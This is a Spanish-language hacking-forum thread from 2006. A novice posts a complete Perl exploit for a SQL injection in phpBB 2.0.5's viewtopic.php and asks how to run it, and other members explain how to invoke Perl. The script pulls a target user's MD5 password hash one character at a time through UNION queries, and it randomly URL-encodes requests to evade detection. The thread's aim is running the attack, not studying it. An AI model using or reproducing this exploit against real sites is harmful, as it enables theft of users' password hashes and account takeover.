elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 14:47  


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  pregunta sobre este exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: pregunta sobre este exploit  (Leído 2,366 veces)
marcela126

Desconectado Desconectado

Mensajes: 22


Ver Perfil
pregunta sobre este exploit
« en: 16 Julio 2006, 10:54 »

bueno pues ayer avia escrito que necesita ayuda en algo sobe phpbb pero ya encontre la respuesta y pues ahora tengo otra pregunta

consegui un exploit para phpbb 2.0.5 y pues este es: ( este exploit lo encontre en: http://www.governmentsecurity.org/archive/t909.html  )

Citar
{\rtf1\mac\ansicpg10000\cocoartf824\cocoasubrtf410
{\fonttbl\f0\fnil\fcharset77 Verdana;}
{\colortbl;\red255\green255\blue255;}
\margl1440\margr1440\vieww9000\viewh8400\viewkind0
\deftab720
\pard\pardeftab720\ql\qnatural

\f0\fs32 \cf0 #!/usr/bin/perl -w\
#\
#\
# phpBB password disclosure vuln.\
# - rick patel (rikul7@yahoo.com) -\
# \
# There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id\
# which gets passed directly to sql server in query. Attacker could pass a special sql string which\
# can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with\
# autologin or cracked using john. \'ca\
#\
# Details: \
#\
# this is checking done for $topic_id in viewtopic.php:\
#\
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )\
# \{\
# \'ca \'ca \'ca $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);\
# \}\
# else if ( isset($HTTP_GET_VARS['topic']) )\
# \{\
# \'ca \'ca \'ca $topic_id = intval($HTTP_GET_VARS['topic']);\
# \}\
#\
# ok... no else statement at end :)\
# now if GET[view]=newest and GET[sid] is set, this query gets executed:\
#\
# \'ca$sql = "SELECT p.post_id\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, \'ca" . USERS_TABLE . " u\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca WHERE s.session_id = '$session_id'\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'caAND u.user_id = s.session_user_id\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'caAND p.topic_id = $topic_id\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'ca \'caAND p.post_time >= u.user_lastvisit\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca ORDER BY p.post_time ASC\
# \'ca \'ca \'ca \'ca \'ca \'ca \'ca LIMIT 1";\
#\
# Ahh! $topic_id gets passed directy to query. So how can we use this to do something important? Well\
# I decided to use union and create a second query will get us something useful. There were couple of \
# \'ca problems i ran into. first, phpBB only cares about the first row returned. second, the select for first\
# query is p.post_id which is int, so int becomes the type returned for any other query in union. third,\
# there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that by placing /* at end\
# \'caof our injected query. So what query can we make that returns only int? \'ca\
# this one => select ord(substring(user_password,$index,1)) from phpbb_users where user_id = $uid\
# Then all we have to do is query 32 times which $index from 1-32 and we get ord value of all chars of\
# md5 hash password. \
#\
# \'ca I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support unions so you would have to tweak\
# the query to do anything useful. \
# \
# This script is for educational purpose only. Please dont use it to do anything else. \
#\
\
use IO::Socket;\
\
$remote = shift || 'localhost';\
$view_topic = shift || \'ca'/phpBB2/viewtopic.php';\
$uid = shift || 2;\
$port = 80;\
\
$dbtype = 'mysql4'; # mysql4 or pgsql \
\
\
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\\n";\
\
$p = "";\
\
for($index=1; $index<=32; $index++)\
\{\
$socket = IO::Socket::INET->new(PeerAddr => $remote,\
\'ca \'caPeerPort => $port,\
\'ca \'caProto => "tcp",\
\'ca \'caType => SOCK_STREAM)\
or die "Couldnt connect to $remote:$port : $@\\n";\
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . \'carandom_encode(make_dbsql()) . \'ca"&view=newest" . " HTTP/1.0\\n\\n";\
\
print $socket $str;\
print $socket "Cookie: phpBB2mysql_sid=1\\n"; # replace this for pgsql or remove it\
print $socket "Host: $remote\\n\\n";\
\
while ($answer = <$socket>)\
\{\
\'caif ($answer =~ /Location:.*\\x23(\\d+)/) # Matches the Location: viewtopic.php?p=<num>#<num>\
\'ca\{\
\'ca $p .= chr ($1);\
\'ca\}\
\}\
\
close($socket);\
\}\
\
print "\\nMD5 Hash for uid $uid is $p\\n";\
\
# random encode str. helps avoid detection\
sub random_encode\
\{\
$str = shift;\
$ret = "";\
for($i=0; $i<length($str); $i++)\
\{\
\'ca$c = substr($str,$i,1);\
\'ca$j = rand length($str) * 1000;\
\'ca\
\'caif (int($j) % 2 || $c eq ' ')\
\'ca\{\
\'ca $ret .= "%" . sprintf("%x",ord($c));\
\'ca\}\
\'caelse\
\'ca\{\
\'ca $ret .= $c;\
\'ca\}\
\}\
return $ret;\
\}\
\
sub make_dbsql\
\{\
if ($dbtype eq 'mysql4')\
\{\
\'careturn " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*";\
\} elsif ($dbtype eq 'pgsql')\
\{\
\'careturn "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";\
\}\
else \
\{\
\'careturn "";\
\}\
\}=}

bueno pues lo guarde como exploit.pl como lei en un tutorial que esta en este foro de que son los exploits y pues ahi dice que no c si entendi bn pero pues dice que pongas esto

Citar
- Los que estan en perl (exploit.pl) se lanzan, tanto en msdos como en linux:

perl exploit.pl <parametros> <parametros>

entos me fui a la terminal y puse exploit.pl  y me aparecio:

Citar
Last login: Mon Jul 17 04:02:22 on ttyp1
Welcome to Darwin!
adsl-70-141-110-168:~ marcela$ exploit.pl
-bash: exploit.pl: command not found
adsl-70-141-110-168:~ marcela$

ahora la vdd no c si estoy hacienod esto bn pero pues para empezar yo no tengo linux y windows tengo mac y pues como ustedes saben mac os x esta basado en GNU entos pues tambien tengo terminal pero lo que no c es que si tengo que instalar alguan liberria de perl para poder hacerlo.... o si lo estoy haciendo mal  :rolleyes:  la vdd no c porke este es el primer exploit que trato de explotar desde mac entos no c si alguien me pueda decir si estoy haciendo algo mal o si tengo que instalar algo o algo asi

bueno pues esto grax  :P
« Última modificación: 17 Julio 2006, 11:15 por marcela126 » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: pregunta sobre este exploit
« Respuesta #1 en: 18 Julio 2006, 02:32 »

intenta:
Código:
perl exploit.pl

es todo..
:P
Saludos!!
En línea

marcela126

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: pregunta sobre este exploit
« Respuesta #2 en: 18 Julio 2006, 07:58 »

pues puse eso y me aparecio esto

Citar
Last login: Mon Jul 17 22:32:14 on console
Welcome to Darwin!
ppp-70-246-231-100:~ marcela$ perl exploit.pl
Can't open perl script "exploit.pl": No such file or directory

mm la vdd no c si tenga que instalar alguna libreria para el perl o algo asi :s

grax
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: pregunta sobre este exploit
« Respuesta #3 en: 18 Julio 2006, 20:08 »

xD
ok.. necesitas Perl..

si no lo tienes:
http://www.activestate.com/Products/Download/Download.plex?id=ActivePerl&type=beta

Saludos!!
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: pregunta sobre este exploit
« Respuesta #4 en: 18 Julio 2006, 20:15 »

Lo que no tiene es el archivo "exploit.pl"  o no lo tiene en el directorio correcto.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: pregunta sobre este exploit
« Respuesta #5 en: 18 Julio 2006, 20:33 »

:o cierto  :-[

de todas formas, se recomienda tener el Perl de activestate, es mas estable, y multiplataforma. :P

Saludos!!
En línea

marcela126

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: pregunta sobre este exploit
« Respuesta #6 en: 19 Julio 2006, 05:54 »

ok.. pues ya baje el file de perl y ya lo tengo instalado y cuando lo puse me aparecio:

Citar
~ marcela$ exploit.pl
-bash: exploit.pl: command not found

:s pues no c si lo tenog que poner en alguna parte porke yo grave el exploit como exploit.pl y lo tengo en mi desketop no c si lo tengo que poner en algun forlder especial o algo asi para que la terminal lo encuentre..?

grax
« Última modificación: 19 Julio 2006, 06:04 por marcela126 » En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: pregunta sobre este exploit
« Respuesta #7 en: 19 Julio 2006, 06:04 »

Pues deberias poner

Código:
perl rutadetuescritorio\exploit.pl
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
marcela126

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: pregunta sobre este exploit
« Respuesta #8 en: 19 Julio 2006, 09:17 »

ya pude hacerlo pero ahora me parece un error, me dice que tengo que kitar todos los "/"  los kito o que hago??  aki esta el error:

Código:
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 1, near "rtf1\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 1, near "mac\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 1, near "ansicpg10000\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 1, near "cocoartf824\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 2, near "fonttbl\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 2, near "f0\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 2, near "fnil\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 3, near "red255\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 3, near "green255\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 4, near "margl1440\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 4, near "margr1440\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 4, near "vieww9000\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 4, near "viewh8400\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 5, near "viewkind0
\"
        (Missing semicolon on previous line?)
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 6, near "deftab720
\"
        (Missing semicolon on previous line?)
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 6, near "pard\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 6, near "pardeftab720\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 6, near "ql\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 8, near "qnatural

\"
        (Missing semicolon on previous line?)
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 8, near "f0\"
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 8, near "fs32 \"
        (Do you need to predeclare fs32?)
Backslash found where operator expected at /Users/marcela/Desktop/exploit.pl line 59, near "\"
        (Missing semicolon on previous line?)
syntax error at /Users/marcela/Desktop/exploit.pl line 1, near "rtf1\"
syntax error at /Users/marcela/Desktop/exploit.pl line 3, near "red255\"
syntax error at /Users/marcela/Desktop/exploit.pl line 4, near "margl1440\"
"use" not allowed in expression at /Users/marcela/Desktop/exploit.pl line 60, at end of line
Bad name after php' at /Users/marcela/Desktop/exploit.pl line 63.

grax
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Pregunta sobre exploit joomla 1.5.12
Hacking Avanzado
elias_vsv 7 1,967 Último mensaje 17 Noviembre 2011, 09:41
por m0rf
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines